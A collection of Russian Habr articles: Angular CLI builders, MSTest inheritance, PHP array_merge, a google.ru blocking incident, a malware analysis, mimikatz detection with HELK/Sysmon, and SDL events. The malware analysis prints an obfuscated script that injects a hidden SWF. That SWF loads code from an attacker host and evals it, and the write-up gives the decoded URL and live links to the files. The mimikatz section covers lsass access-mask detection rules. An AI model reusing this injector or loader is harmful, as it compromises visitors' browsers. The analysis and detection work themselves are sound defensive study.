"name": "@example/command-runner",
"version": "1.0.0",
"description": "Builder for Architect",
"builders": "builders.json",
"devDependencies": {
"@angular-devkit/architect": "^1.0.0"
}
}
```
Это подскажет Architect, где искать файл определения сборщика.
Таким образом название нашего сборщика – *"@example/command-runner:command"*. Первая часть названия, перед двоеточием (:) – название пакета, определяемое с помощью *package.json*. Вторая часть – название сборщика, определяемое с помощью файла *builders.json*.
Тестирование собственных сборщиков
----------------------------------
Рекомендуемый способ тестирования сборщиков – интеграционное тестирование. Это связано с тем, что создать *context* непросто, поэтому вам стоит воспользоваться планировщиком от Architect.
Чтобы упростить шаблоны, мы продумали простой способ создания экземпляра Architect: сначала вы создаете *JsonSchemaRegistry* (для проверки схемы), затем, *TestingArchitectHost* и, в конце концов, экземпляр *Architect*. Теперь вы можете составить файл конфигурации *builders.json*.
Вот пример запуска сборщика, который выполняет команду *ls* и проверяет, что команда успешно выполнилась. Учтите, что мы будем пользоваться стандартным выводом процессов в *logger*.
```
import { Architect, ArchitectHost } from '@angular-devkit/architect';
import { TestingArchitectHost } from '@angular-devkit/architect/testing';
import { logging, schema } from '@angular-devkit/core';
describe('Command Runner Builder', () => {
let architect: Architect;
let architectHost: ArchitectHost;
beforeEach(async () => {
const registry = new schema.CoreSchemaRegistry();
registry.addPostTransform(schema.transforms.addUndefinedDefaults);
// Аргументы TestingArchitectHost – рабочая и текущая директории.
// Сейчас мы их не используем, поэтому они одинаковые.
architectHost = new TestingArchitectHost(__dirname, __dirname);
architect = new Architect(architectHost, registry);
// Тут мы передаем либо имя NPM-пакета,
// либо путь до package.json файла пакета.
await architectHost.addBuilderFromPackage('..');
});
// Это может не работать в Windows
it('can run ls', async () => {
// Создаем регистратор, хранящий массив всех зарегистрированных сообщений.
const logger = new logging.Logger('');
const logs = [];
logger.subscribe(ev => logs.push(ev.message));
// "run" может содержать множество выводов, а также информацию о ходе работы сборщика.
const run = await architect.scheduleBuilder('@example/command-runner:command', {
command: 'ls',
args: [__dirname],
}, { logger });
// "result" – следующий вывод выполняемого процесса.
// Он имеет тип "BuilderOutput".
const output = await run.result;
// Останавливаем сборщик. Architect действительно прекращает сохранение состояний
// сборщика в памяти, так как сборщики ждут, чтобы снова быть запущенными.
await run.stop();
// Ожидаем успешное завершение.
expect(output.success).toBe(true);
// Ожидаем, что этот файл будет выведен.
// `ls $__dirname`.
expect(logs).toContain('index_spec.ts');
});
});
```
Чтобы запустить пример, указанный выше, вам потребуется пакет *ts-node*. Если вы собираетесь использовать Node, переименуйте *index\_spec.ts* в *index\_spec.js*.
Использование сборщика в проекте
--------------------------------
Давайте создадим простой angular.json, демонстрирующий всё, что мы узнали про сборщики. Если предположить, что мы запаковали наш сборщик в *[example](https://habr.com/ru/users/example/)/command-runner*, а затем создали новое приложение с помощью *ng new builder-test*, файл *angular.json* может выглядеть так (часть содержимого была удалена для краткости):
```
{
// ... удалено для краткости.
"projects": {
// ...
"builder-test": {
// ...
"architect": {
// ...
"build": {
"builder": "@angular-devkit/build-angular:browser",
"options": {
// ... разные опции
"outputPath": "dist/builder-test",
"index": "src/index.html",
"main": "src/main.ts",
"polyfills": "src/polyfills.ts",
"tsConfig": "src/tsconfig.app.json"
},
"configurations": {
"production": {
// ... разные опции
"optimization": true,
"aot": true,
"buildOptimizer": true
}
}
}
}
```
Если бы мы решили добавить новую задачу для применения (например) команды *touch* к файлу (обновляет дату изменения файла), с использованием нашего сборщика, мы бы выполнили *npm install [example](https://habr.com/ru/users/example/)/command-runner*, а затем, внесли бы изменения в *angular.json*:
```
{
"projects": {
"builder-test": {
"architect": {
"touch": {
"builder": "@example/command-runner:command",
"options": {
"command": "touch",
"args": [
"src/main.ts"
]
}
},
"build": {
"builder": "@angular-devkit/build-angular:browser",
"options": {
"outputPath": "dist/builder-test",
"index": "src/index.html",
"main": "src/main.ts",
"polyfills": "src/polyfills.ts",
"tsConfig": "src/tsconfig.app.json"
},
"configurations": {
"production": {
"fileReplacements": [
{
"replace": "src/environments/environment.ts",
"with": "src/environments/environment.prod.ts"
}
],
"optimization": true,
"aot": true,
"buildOptimizer": true
}
}
}
}
}
}
}
```
В Angular CLI есть команда *run*, которая является основной командой для запуска сборщиков. В качестве первого аргумента она принимает строку формата *ПРОЕКТ: ЗАДАЧА[: КОНФИГУРАЦИЯ]*. Чтобы запустить нашу задачу, мы можем воспользоваться командой *ng run builder-test:touch*.
Теперь мы можем хотеть переопределить какие-то аргументы. К сожалению, пока мы не можем переопределять массивы из командной строки, однако мы можем изменить саму команду для демонстрации: *ng run builder-test:touch --command=ls*. – Это выведет файл *src/main.ts*.
Watch Mode – режим наблюдения
-----------------------------
Предполагается, что по-умолчанию, сборщики будут вызываться единожды и завершаться, однако, они могут возвращать *Observable*, чтобы реализовывать собственный режим наблюдения (как это делает сборщик *Webpack*). Architect будет подписан на *Observable* до тех пор, пока он не завершится или не остановится и сможет подписаться на сборщик снова, если сборщик будет вызван с теми же параметрами (хоть и не гарантированно).
1. Сборщик должен возвращать объект *BuilderOutput* после каждого выполнения. После завершения, он может войти в режим наблюдения, вызванный внешним событием и, если он запустится снова, он должен будет вызвать функцию *context.reportRunning()* для уведомления Architect о том, что сборщик снова работает. Это защитит сборщик от остановки его Architect-ом при новом вызове.
2. Architect сам отписывается от *Observable*, когда сборщик останавливается (с помощью run.stop(), например), с использованием [Teardown-логики](http://reactivex.io/rxjs/class/es6/MiscJSDoc.js~TeardownLogicDoc.html) – алгоритма уничтожения. Это позволит вам останавливать и очищать сборку, если этот процесс уже запущен.
Резюмируя вышесказанное, если ваш сборщик наблюдает за внешними событиями, он работает в три этапа:
1. **Выполнение.** Например, компиляция Webpack. Этот этап заканчивается, когда Webpack заканчивает сборку, а ваш сборщик отправляет *BuilderOutput* в *Observable*.
2. **Наблюдение.** – Между двумя запусками ведется наблюдение за внешними событиями. Например, Webpack следит за файловой системой на предмет любых изменений. Этот этап заканчивается, когда Webpack возобновляет сборку и вызывается *context.reportRunning()*. После этого этапа снова начинается этап 1.
3. **Завершение.** – Задача полностью выполнена (например, ожидалось, что Webpack запустится определенное количество раз) или запуск сборщика был остановлен (с помощью *run.stop()*). В этом случае, выполняется алгоритм уничтожения *Observable*, и он очищается.
Заключение
----------
Вот, краткое изложение того, что мы узнали в этой публикации:
1. Мы предоставляем новый API, который позволит разработчикам изменять поведение команд Angular CLI и добавлять новые, используя сборщики, реализующие необходимую логику.
2. Сборщики могут быть синхронными, асинхронными и реагирующими на внешние события. Они могут вызываться несколько раз, а также, вызывать другие сборщики.
3. Параметры, которые получает сборщик при запуске задачи, сначала считываются из файла *angular.json*, затем, перезаписываются параметрами из конфигурации, если она есть, а потом, перезаписываются флагами командной строки, если они были добавлены.
4. Рекомендованный способ тестирования сборщиков – интеграционные тесты, однако вы можете выполнять модульное тестирование отдельно от логики сборщика.
5. Если сборщик возвращает Observable, он должен очищаться после прохождения алгоритма уничтожения.
В ближайшем будущем частота использования этих API будет увеличиваться. Например, реализация Bazel сильно с ними связана.
Мы уже видим, как сообщество создает новые CLI сборщики для использования, например, *[jest](https://github.com/meltedspark/angular-builders/tree/master/packages/jest)* и *[cypress](https://blog.nrwl.io/nrwl-nx-7-0-better-e2e-testing-with-cypress-1b88336bef5e)* для тестирования. | https://habr.com/ru/post/450746/ | null | ru | null |
# Unit тесты и наследование
При разработке unit тестов в Visual Studio часто хочется создать какой-то базовый клас для тестирования базовой лоники. Например у нас есть такой класс: `[TestClass]
public virtual class PersonTestBase
{`
[TestMethod]
public void GetNameTest()
{
//...
}
}
и его класс наследник: `[TestClass]
public class CustomerTest: PersonTestBase
{
[TestMethod]
public override void GetNameTest()
{
base.GetNameTest();
}
}`
Плюсы такого подхода:* полная поддержка визуальных средств Visual Studio (Test List Editor);
* простота реализации.
Минусы:* избыточность кода;
* создание наследника является по сути copy&paste.
Сразу необходимо заметить, что PersonTestBase и CustomerTest должны находится в одной сборке, иначе тесты в PersonTestBase работать не будут — это ограничение unit тестов. Подробнее смотрите в msdn. Кроме описанных в msdn способов можно поступить так: создаётся два проекта: BaseTests и CustomTests;в проект CustomTests добавляются необходимые файлы из BaseTests таким образом: Project -> Add Existing Item -> Выбираем необходимые файлы -> Add As Link.Таким образом физически файлы находятся в разных проектах, но при компиляции необходимые классы оказываются в одной сборке. Теперь пришло время изменить наш CustomerTest. `[TestClass]
public class CustomerTest: PersonTestBase
{
[TestMethod]
public override void CustomerTestMethod()
{
//...
}
}`
Мы добавили новый, специфический для Customer, метод и удалили переопределения метода из базового класса, т.к. его функциональность нас полность устраивает. Что мы из этого получили:* фактически, в классе у реализоано 2 тестовы метода: один перешел из базового класса и один мы реализовали сами.
* Visual Studio Test List Editor говорит что у нас только один тетовый медов — метода из бащового класс не отображается и, соответственно, не запускается.
Обидно, но не смертельно. На помощь нам приходит штатная утилита MSTest, которая решает все, или почти все, наши проблемы.Плюсы такого метода:* мы избавились от минусов предыдущего метода;
Минусы:* нету интеграции с Visual Studio. | https://habr.com/ru/post/47752/ | null | ru | null |
# PHP — оптимизация многочисленных array_merge()
Небольшой хинт, о котором я собираюсь сейчас рассказать, я узнал уже довольно давно. Но, поскольку вот только что обнаружил, что именно в этом месте оптимизация помогла сэкономить изрядное количество времени уже в текущем проекте, то решил поделиться с общественностью (а мужики-то не знают, ага).
Буду краток, вот тестовый скрипт и то, что он выводит:
> $start = microtime(true);
>
> $res1 = array();
>
> for ($i = 0; $i < 1000; $i++) {
>
> $res1 = array\_merge($res1, array(1, 2, 3));
>
> }
>
> echo "1000 merges: " . ceil((microtime(true) - $start) \* 1000) . "ms\n";
>
>
>
> $start = microtime(true);
>
> $toMerge = array();
>
> for ($i = 0; $i < 1000; $i++) {
>
> $toMerge[] = array(1, 2, 3);
>
> }
>
> $res2 = call\_user\_func\_array('array\_merge', $toMerge);
>
> echo "call\_user\_func\_array('array\_merge',..): " . ceil((microtime(true) - $start) \* 1000) . "ms\n";
>
>
>
> echo "Is it true that the two arrays are equal? It is ";
>
> var\_export($res2 === $res1);
>
> echo ".\n";
`~ % php ~/tmp/array_merge.php
1000 merges: 980ms
call_user_func_array('array_merge',..): 11ms
Is it true that the two arrays are equal? It is true.`
Экономия солидная. Авось кому пригодится. | https://habr.com/ru/post/101608/ | null | ru | null |
# Google.ru ненадолго заблокировали в России
Роскомнадзор в 2016 году внёс домен google.ru в реестр запрещённых сайтов, а 22 июня 2017 года по неизвестной причине отправил его в «выгрузку». За то время, пока Google сегодня находился в «выгрузке», его успели заблокировать несколько российских провайдеров, в том числе «Акадо» и ТТК. По словам пользователей «Билайна», в их сети Google тоже был заблокирован.
В выгрузке к блокировкам был указан следующий адрес:
```
https://www.google.ru/aclk?sa=L&ai=DChcSEwjFuIm2nKrUAhWKQxgKHRv6D2QYABAAGgJsZQ&sig=AOD64_1ohFzJiqDKQcxL25h8_YQgRx1EiQ&q=&ved=0ahUKEwiZi4a2nKrUA0QwIJA&adurl
```
Именно этот служебный адрес специалисты Роскомнадзора отправили в «выгрузку». Вопрос, зачем его вообще вносили в реестр вместо того, чтобы поставить нормальную ссылку непосредственно на запрещённый сайт, который открывается при щелчке по рекламе AdWords.
Руководитель Роскомнадзора Александр Жаров [подтвердил](https://www.vedomosti.ru/technology/articles/2017/06/22/695589-google) факт блокировки. Он объяснил это следующим образом: «У Google стоял редирект с сайта букмекерской компании, поэтому операторы начали его блокировать. Google уже убрал редирект, проблема была быстро решена».
Вадим Ампелонский добавил в комментарии «Ведомостям», что ФНС для блокировки сайта этой компании описала несколько адресов (URL), в том числе адрес, который выглядел как ссылка-редирект от Google: «Роскомнадзор не имел права не вносить эту ссылку в реестр, но тут же предупредил Google. Компания убрала редирект, и Google был исключен из реестра». По словам Ампелонского, ссылка присутствовала в реестре меньше часа.
Этот сайт — один из тысяч сайтов азартных игр, которые ФНС заблокировала в досудебном порядке. Речь идет о сайтах, нарушающих законодательство в области азартных игр и лотерей. Так блокируются сайты онлайн-казино, букмекерских контор и др.
В данный момент Роскомнадзор [убрал из реестра](http://tass.ru/ekonomika/4358884) запрещённых сайтов домен google.ru.
P. S. В одном из информационных Telegram-каналов [говорят](https://geektimes.ru/post/290287/#comment_10146087), что сотрудника, который накосячил, хотели натурально побить. Не из-за того, что он плохо справляется с работой, конечно (тогда бы в РКН не осталось целых сотрудников), а потому что начальству уже прилетело и прилетело очень жёстко. | https://habr.com/ru/post/356186/ | null | ru | null |
# Вирус на сайте или реверс-инжиниринг Exploit.SWF.254
Все началось с того, что на моем рабочем ноутбуке (Win XP) админ установил новый антивирус. В один прекрасный день, когда я зашел на один из своих сайтов, я обнаружил вот такую неприятную картину:
**Update:** Антивирус Dr.Web, скрипт до сих пор на сайте [тут](http://vidirvani.com.ua/images/photo/thumbs/rss.js)
Конечно же первое что я захотел сделать это удалить его, для этого нужно было просто зайти по FTP и прибить rss.js файл. Но тут вдруг оказалось что я не могу зайти на сайт по FTP, так как хостинг и домен не мои, и видимо недавно админы сменили логин и пароль. Дозвониться владельцам так и не удалось, зато понять что именно делает вирус было очень любопытно…
Итак, делать это на рабочем ноуте я не рискнул, решил заняться этим дома, так как на домашнем компе стоит макось ~~бояться было нечего~~ никакой антивирус не орал и не мешал работать. Первым делом я посмотрел что делает rss.js
```
function addNewObject () {
try {
var ua = navigator.userAgent.toLowerCase();
if ((ua.indexOf("chrome") == -1 && ua.indexOf("win") != -1) && navigator.javaEnabled()) {
var jtFRvRDNg=["subs\x74\x72","F\x55\x64\x59z\x73\x4dVX\x65XZ\x70\x6e\x6e\x79a.\x73wf\x66\x50Myo\x56\x6cV\x76\x43\x52q\x59oeF\x61","\x6aH\x4c/0\x38\x2d\x6bo\x68a\x77POT\x55\x4aGp","\x6f\x73F\x4e\x74x\x2f\x6dp\x33\x2fv\x69di\x72\x76\x61ni"];var counter = jtFRvRDNg[35-32][jtFRvRDNg[0]](-60+95-29,70+22-91+13) + jtFRvRDNg[2][jtFRvRDNg[0]](94-75-16,36+83-111) + jtFRvRDNg[17-16][jtFRvRDNg[0]](66+2+81-135,51-44);
var div = document.createElement('div');
div.innerHTML = '';
div.innerHTML += '';
div.innerHTML += '';
div.innerHTML += '';
div.innerHTML += '<\/object>';
div.style.position = 'absolute';
div.style.left = '-100px';
div.style.top = '-100px';
document.body.insertBefore(div, document.body.children[0]);
}
} catch (e) {
if (document.body == undefined || document.body.children[0] == undefined) {
setTimeout('addNewObject()', 50);
}
}
}
addNewObject();
```
Из кода очевидно что скрипт создает swf и внедряет его в код страницы, чтобы понять откуда он берет swf делаем деобфускацию вот этого странного куска кода:
```
var jtFRvRDNg=["subs\x74\x72","F\x55\x64\x59z\x73\x4dVX\x65XZ\x70\x6e\x6e\x79a.\x73wf\x66\x50Myo\x56\x6cV\x76\x43\x52q\x59oeF\x61","\x6aH\x4c/0\x38\x2d\x6bo\x68a\x77POT\x55\x4aGp","\x6f\x73F\x4e\x74x\x2f\x6dp\x33\x2fv\x69di\x72\x76\x61ni"];var counter = jtFRvRDNg[35-32][jtFRvRDNg[0]](-60+95-29,70+22-91+13) + jtFRvRDNg[2][jtFRvRDNg[0]](94-75-16,36+83-111) + jtFRvRDNg[17-16][jtFRvRDNg[0]](66+2+81-135,51-44);
```
Для этого создаем и запускаем вот такой простой файл
```
var jtFRvRDNg = ["subs\x74\x72", "F\x55\x64\x59z\x73\x4dVX\x65XZ\x70\x6e\x6e\x79a.\x73wf\x66\x50Myo\x56\x6cV\x76\x43\x52q\x59oeF\x61", "\x6aH\x4c/0\x38\x2d\x6bo\x68a\x77POT\x55\x4aGp", "\x6f\x73F\x4e\x74x\x2f\x6dp\x33\x2fv\x69di\x72\x76\x61ni"];
var counter = jtFRvRDNg[35 - 32][jtFRvRDNg[0]](-60 + 95 - 29, 70 + 22 - 91 + 13) + jtFRvRDNg[2][jtFRvRDNg[0]](94 - 75 - 16, 36 + 83 - 111) + jtFRvRDNg[17 - 16][jtFRvRDNg[0]](66 + 2 + 81 - 135, 51 - 44);
alert(counter);
```
И сразу видим откуда подгружается вредоносный swf
**Update:** [Ссылка на swf](http://vidirvani.com.ua/mp3/vidirvani/08-kohanya.swf)
Теперь осталось самое легкое, узнать что делает этот flash ролик, немного погуглив нашел несколько декомпиляторов swf, но оказалось что файл защищен от декомпиляции
**Update:** Вот [этим](http://www.kindi.com/) был «защищен» swf от декомпиляции
И понять что делает вредоносный ActionScript невооруженным глазом нельзя:
**Длинный непонятный код**
```
//Кадр 0
// Action tag #0
for (;;)
{
if (1847114876 == 1847115088)
{
false;
1238734783 & -1238734784;
function decrypt(hex)
{
var __reg5;
var __local0;
if (205673138 ^ 205673138)
{
__local0 = __reg5 = "A";
}
else
{
__reg5 = "A";
var __reg1;
__local0 = __reg1 = 0;
}
__local0;
for (;;)
{
408838581 ^ 408838581;
2136550932 & -2136550933;
if (__reg1 >= hex.B)
{
break;
}
if (1890669217 ^ 1890669217)
{
"C";
}
else
{
var __reg3;
if (!(1502222836 ^ 1502222836))
{
__reg3 = hex.C(__reg1, 2);
}
}
1234629013 ^ 1234629013;
127070979 & -127070980;
var __reg2 = int("D" + __reg3);
1130412752 ^ 1130412752;
__reg2 = __reg2 ^ 5;
1618839222 & -1618839223;
if (!(1876906722 ^ 1876906722))
{
__reg5 = __reg5 + chr(__reg2);
}
var __local1;
var __local2;
if (1459356484 ^ 1459356484)
{
__local1 = __reg1;
__local2 = 2;
}
else
{
__reg1 = __reg1 + 2;
__local1 = 1035411512;
__local2 = -1035411513;
}
__local1 & __local2;
}
return __reg5;
}
function checkFileLoaded()
{
};
1791047020 & -1791047021;
var = "";
1234090841 ^ 1234090841;
353477196 ^ 353477196;
if (!(1023518590 ^ 1023518590))
{
("E", ());
}
1053853491 & -1053853492;
657257249 & -657257250;
var = (, 200);
503511606 ^ 503511606;
694364267 ^ 694364267;
2090915988 & -2090915989;
loadVariables(G(), E);
if (736039747 != 736040114)
{
continue;
}
}
}
```
Еще немного погуглив нашел декомпилятор swf со встроенной функцией деобфускации, и вот такой код уже намного понятнее читать:
```
function decrypt(hex)
{
var _loc5_ = "";
var _loc1_ = 0;
while(_loc1_ < hex.length)
{
var _loc3_ = hex.substr(_loc1_,2);
var _loc2_ = int("0x" + _loc3_);
_loc2_ = _loc2_ ^ 5;
_loc5_ = _loc5_ + chr(_loc2_);
_loc1_ = _loc1_ + 2;
}
return _loc5_;
}
function checkFileLoaded()
{
if(container.data != undefined)
{
var _loc1_ = container.data;
_loc1_ = decrypt(_loc1_);
flash.external.ExternalInterface.call("eval",_loc1_);
clearInterval(loadingInterval);
}
}
var url = "6d7171753f2a2a7d64717c71642b75752b70642a666a706b7160772a6d6c712a66696c606b715a6160306163353334663c3c353333613d37666366313632633767353c3c313030";
this.createEmptyMovieClip("container",this.getNextHighestDepth());
var loadingInterval = setInterval(checkFileLoaded,200);
loadVariables(decrypt(url),container);
```
**Update:** [Декомпилятор SWF с деобфускатором](http://www.free-decompiler.com/flash/download.html)
Вот это уже интереснее, видим что тут есть url на который идет пинг, но даже в «защищенном» swf url закодирован, хорошо постарались ребята. У меня под рукой не оказалось флеш-редактора, нашел онлайн компилятор action script, скопировал кусок кода который декодирует зветный url и выводим:
```
class Test {
function decrypt(hex)
{
var _loc5_ = "";
var _loc1_ = 0;
while(_loc1_ < hex.length)
{
var _loc3_ = hex.substr(_loc1_,2);
var _loc2_ = int("0x" + _loc3_);
_loc2_ = _loc2_ ^ 5;
_loc5_ = _loc5_ + chr(_loc2_);
_loc1_ = _loc1_ + 2;
}
return _loc5_;
}
public function Test(mc) {
var url = "6d7171753f2a2a7d64717c71642b75752b70642a666a706b7160772a6d6c712a66696c606b715a6160306163353334663c3c353333613d37666366313632633767353c3c313030";
trace(decrypt(url));
}
public static function main(mc:MovieClip) {
var test = new Test(mc);
}
}
```
**Update:** Вот [тут](http://metal.hurlant.com/as2/) можно запустить ActionScript прямо в браузере
**Update:** В результате получаем url: **```
http://xatyta.pp.ua/counter/hit/client_de5df061c99066d82cfc437f2b099455
```**
Смысл этого эксплоита для меня так и остался загадкой, кто-то просто собирает статистику посещения сайта? А что думает хабр, жду комментарии, может кто-то сталкивался с подобным?
**P.S.** Умышленно не приводил ссылки на антивирус, декомпиляторы, онлайн сервисы и прочие ссылки
Update: добавил опрос
**Update 2:** добавил ссылки | https://habr.com/ru/post/196882/ | null | ru | null |
# Продвинутое логирование Windows. Ищем mimikatz
Всем привет. Сегодня рассмотрим пример, когда злоумышленнику удалось обойти Windows Defender, но не удалось — безопасника. Да, речь опять про mimikatz. Как, запуская mimikatz, обойти Windows Defender, можно почитать [тут.](https://habr.com/ru/company/tomhunter/blog/454758/) А сегодня, как я и обещал, рассмотрим что-нибудь для «синей» команды. Если это хоть кому-нибудь поможет, значит — все не зря. Итак, поехали.
Про стек ELK (Elasticsearch, Logstash, Kibana) написано немало (в том числе и на хабре), и сегодня мы будем использовать его, а если быть точнее — допиленный под наши нужды ELK для threat hunting.
### The Hunting ELK, или HELK
Схема HELK выглядит вот так:
Перейдем к установке.
В качестве сервера, где будет располагаться HELK, я выбрал, как и советует разработчик:
```
tomhunter@helk:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=18.04
DISTRIB_CODENAME=bionic
DISTRIB_DESCRIPTION="Ubuntu 18.04.4 LTS"
```
Установка проста и выполняется в 2 команды:
```
git clone https://github.com/Cyb3rWard0g/HELK
tomhunter@helk:~/HELK/docker$ sudo ./helk_install.sh
```
> *Примечание:* возможно, вас попросят выделить больше ОЗУ для установки. Я использую 10 ГБ.
Из предложенных вариантов установки я выбрал **KAFKA + KSQL + ELK + NGNIX + ELASTALERT**. А теперь просто ждем. И, если мы все сделали правильно, мы увидим заветное:
С сервером закончили, давайте подготовим клиент. В качестве него будет выступать машина с ОС Windows 10. На него нам нужно установить [Sysmon.](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon)
Так же нам нужен файл конфигурации:
```
git clone https://github.com/olafhartong/sysmon-modular
```
Сгенерируем конфиг:
```
. .\Merge-SysmonXml.ps1
Merge-AllSysmonXml -Path ( Get-ChildItem '[0-9]*\*.xml') -AsString | Out-File sysmonconfig.xml
```
Выполним:
```
PS C:\Users\Tomhunter\Documents\sysmon-modular> .\Sysmon64.exe -i .\sysmonconfig.xml
```
Также установим [winlogbeat](https://www.elastic.co/downloads/beats/winlogbeat)), удалим файл winlogbeat.yml и создадим новый, скопировав в него
[raw.githubusercontent.com/Cyb3rWard0g/HELK/master/configs/winlogbeat/winlogbeat.yml](https://raw.githubusercontent.com/Cyb3rWard0g/HELK/master/configs/winlogbeat/winlogbeat.yml)
> *Примечание:* и здесь нам нужно поменять IP адрес на нужный (в моем случае hosts: [«192.168.31.97:9092»].
Установим:
```
PS C:\Users\Tomhunter\Desktop\winlogbeat-7.6.2-windows-x86_64> .\install-service-winlogbeat.ps1
```
> *Примечание:* сервис нужно включить руками, либо перезагрузить систему.
>
>
Все готово, давайте посмотрим, что у нас получилось.
Запускаем mimikatz на Windows 10.
И, зайдя в кибану (в моем случае — это [192.168.31.97](https://192.168.31.97), учетные данные по дефолту: helk:hunting) мы видим алерт. В сыром виде он выглядит так:
Алерты можно отсылать себе на электронную почту, в слак и т.д.
Но нам гораздо интереснее, как это работает, давайте разбираться.
### Немного теории
После запуска mimikatz c Windows 10 улетает такое сообщение:
Что же смутило правило, выдавшее алерт? (спойлер: не имя файла mimikatz.exe). Давайте взглянем на само правило:
```
sudo docker exec -it helk-elastalert bash
cat /opt/sigma/rules/windows/sysmon/sysmon_mimikatz_detection_lsass.yml
```
EventID: 10. Это у нас ProcessAccess.
TargetImage: C:\windows\system32\lsass.exe.
Это хорошо, но mimikatz же не единственный кто обращается к lsass.
GrantedAccess: 0x1410 или 0x1010.
И вот тут все встает на свои места. Объясняю.
Давайте заглянем в исходный код mimikatz, а именно нас интересует файл kuhl\_m\_sekurlsa.c и функция kuhl\_m\_sekurlsa\_acquireLSA()
Обратившись на сайт майкрософта, мы видим, что
```
PROCESS_QUERY_LIMITED_INFORMATION (0x1000)
PROCESS_VM_READ (0x0010)
PROCESS_QUERY_INFORMATION (0x0400)
```
Применяя побитовое “ИЛИ” мы получаем наш Granted Access
> *Примечание:* ранее в правиле sigma был детект только 0x1410, вероятно, это связано с тем, что старые версии mimikatz делали оба запроса (PROCESS\_QUERY\_INFORMATION и PROCESS\_QUERY\_LIMITED\_INFORMATION), однако пропускало mimikatz с 0х1010, в связи с чем нужно было самому корректировать правило. Сейчас такой проблемы уже нет, и все работает из коробки.
Таким образом, если в кибане мы поставим фильтр
event\_id: 10 AND process\_target\_name: "\*lsass.exe" AND process\_granted\_access: «0x1010», то у нас останется только наш mimikatz.
Из приятного: правила есть и для mimikatz\_inmemory, mimikatz\_trough\_winrm, и даже для safetycatz (версия mimikatz на .NET со своими фишками).
### Что еще можно?
Правила, естественно, не ограничиваются mimikatz, их очень много. Они разбиты на категории application, cloud, compliance, linux, network, proxy, web и windows. Категории разбиты на подкатегории. Например, windows делится на builtin, malware, other, powershell, process\_creation, sysmon.
И кто знает, возможно, включив в GPO логирование powershell, вы будете получать алерты по этим правилам:
На этом вроде бы все. ~~Подписывайтесь на канал, ставьте лайки, жмякайте колокольчик.~~ | https://habr.com/ru/post/504088/ | null | ru | null |
# Сжатие при помощи canvas и PNG-картинок
*Примечание: ниже находится перевод статьи [«Compression using Canvas and PNG-embedded data»](http://blog.nihilogic.dk/2008/05/compression-using-canvas-and-png.html). Автор предлагает на суд читателей еще один способ загрузить в клиентском браузере JavaScript-библиотеку, передав при этом минимум данных. Для этого используется PNG-картинка и объект canvas. Мои комментарии далее курсивом.*
[](http://www.nihilogic.dk/labs/canvascompress/)
Недавно у меня появилась идея, что можно хранить исходный Javascript-код в PNG-картинке, а затем получать его через метод `getImageData()` элемента `canvas`. К несчастью, сейчас это означает, что только такой подход будет работать только в **Firefox**, **Opera Beta** и последних ночных сборках **WebKit**. Пока еще никто не указал мне, насколько gzip опережает данный метод по степени сжатия, я хочу сразу сказать что рассматриваемый метод никак не может быть практической альтернативой физическому сжатию. Чуть раньше сегодня я уже писал о [сжатой версии в 8Кб](http://blog.nihilogic.dk/2008/05/8-kilobytes-of-mario.html) скрипта Super Mario, для которого использовалась эта техника (*подробнее можно прочитать в [заметке про кодирование](http://webo.in/articles/habrahabr/37-javas-cript-encoding-embedding/)*). Здесь я приведу лишь некоторые детали о действительном положении вещей.
[читать дальше на webo.in →](http://webo.in/articles/habrahabr/47-compression-using-canvas/ "полный текст") | https://habr.com/ru/post/31607/ | null | ru | null |
# Перевод SDL Game Framework Series. Часть 3 — SDL Events
Одной из основ разработки игр является обработка сообщений поступающих во время каких-либо событий (*Events*). Все видеоигры, от тенниса до очень сложных игр для ПК и консолей, используют т.н. события для взаимодействия с игроком. Эти события могут поступать от клавиатур, мышей, джойстиков, геймпадов, и т.д., а также от самой операционной системы. Важно понимать, как они работают, если мы хотим надлежащим образом обрабатывать взаимодействие пользователя с игрой. Мы уже использовали события, но только для закрытия нашего окна, теперь мы будем глубже разбираться с тем, как получать события от пользователя.
Как вы уже заметили, каждый урок построен на основе предыдущего, поэтому мы не будем пока отступать от этой традиции. Для того, чтобы отслеживать все события и обрабатывать их в предназначенных для этого функциях, нужно создать новый класс. Добавьте в проект два файла *CEvent.h* и *CEvent.cpp*. В этих двух файлах мы будем обрабатывать приходящие сообщения, и вызвать соответствующую функцию. Наш класс *CApp* будет наследоваться от этого класса, поэтому, когда мы начнем обрабатывать события, просто будем переопределять его функции.
Откройте *CEvent.h* и добавьте следующий код:
**CEvent.h**
```
#ifndef _CEVENT_H_
#define _CEVENT_H_
#include
class CEvent {
public:
CEvent();
virtual ~CEvent();
virtual void OnEvent(SDL\_Event\* Event);
virtual void OnInputFocus();
virtual void OnInputBlur();
virtual void OnKeyDown(SDLKey sym, SDLMod mod, Uint16 unicode);
virtual void OnKeyUp(SDLKey sym, SDLMod mod, Uint16 unicode);
virtual void OnMouseFocus();
virtual void OnMouseBlur();
virtual void OnMouseMove(int mX, int mY, int relX, int relY, bool Left,bool Right,bool Middle);
virtual void OnMouseWheel(bool Up, bool Down); //Not implemented
virtual void OnLButtonDown(int mX, int mY);
virtual void OnLButtonUp(int mX, int mY);
virtual void OnRButtonDown(int mX, int mY);
virtual void OnRButtonUp(int mX, int mY);
virtual void OnMButtonDown(int mX, int mY);
virtual void OnMButtonUp(int mX, int mY);
virtual void OnJoyAxis(Uint8 which, Uint8 axis, Sint16 value);
virtual void OnJoyButtonDown(Uint8 which, Uint8 button);
virtual void OnJoyButtonUp(Uint8 which, Uint8 button);
virtual void OnJoyHat(Uint8 which, Uint8 hat, Uint8 value);
virtual void OnJoyBall(Uint8 which, Uint8 ball, Sint16 xrel, Sint16 yrel);
virtual void OnMinimize();
virtual void OnRestore();
virtual void OnResize(int w,int h);
virtual void OnExpose();
virtual void OnExit();
virtual void OnUser(Uint8 type, int code, void\* data1, void\* data2);
};
#endif
```
Нехилый получился класс? Ну а теперь откройте *CEvent.cpp*, и добавьте следующий код:
**CEvent.cpp**
```
#include "CEvent.h"
CEvent::CEvent() {
}
CEvent::~CEvent() {
//Do nothing
}
void CEvent::OnEvent(SDL_Event* Event) {
switch(Event->type) {
case SDL_ACTIVEEVENT: {
switch(Event->active.state) {
case SDL_APPMOUSEFOCUS: {
if ( Event->active.gain ) OnMouseFocus();
else OnMouseBlur();
break;
}
case SDL_APPINPUTFOCUS: {
if ( Event->active.gain ) OnInputFocus();
else OnInputBlur();
break;
}
case SDL_APPACTIVE: {
if ( Event->active.gain ) OnRestore();
else OnMinimize();
break;
}
}
break;
}
case SDL_KEYDOWN: {
OnKeyDown(Event->key.keysym.sym,Event->key.keysym.mod,Event->key.keysym.unicode);
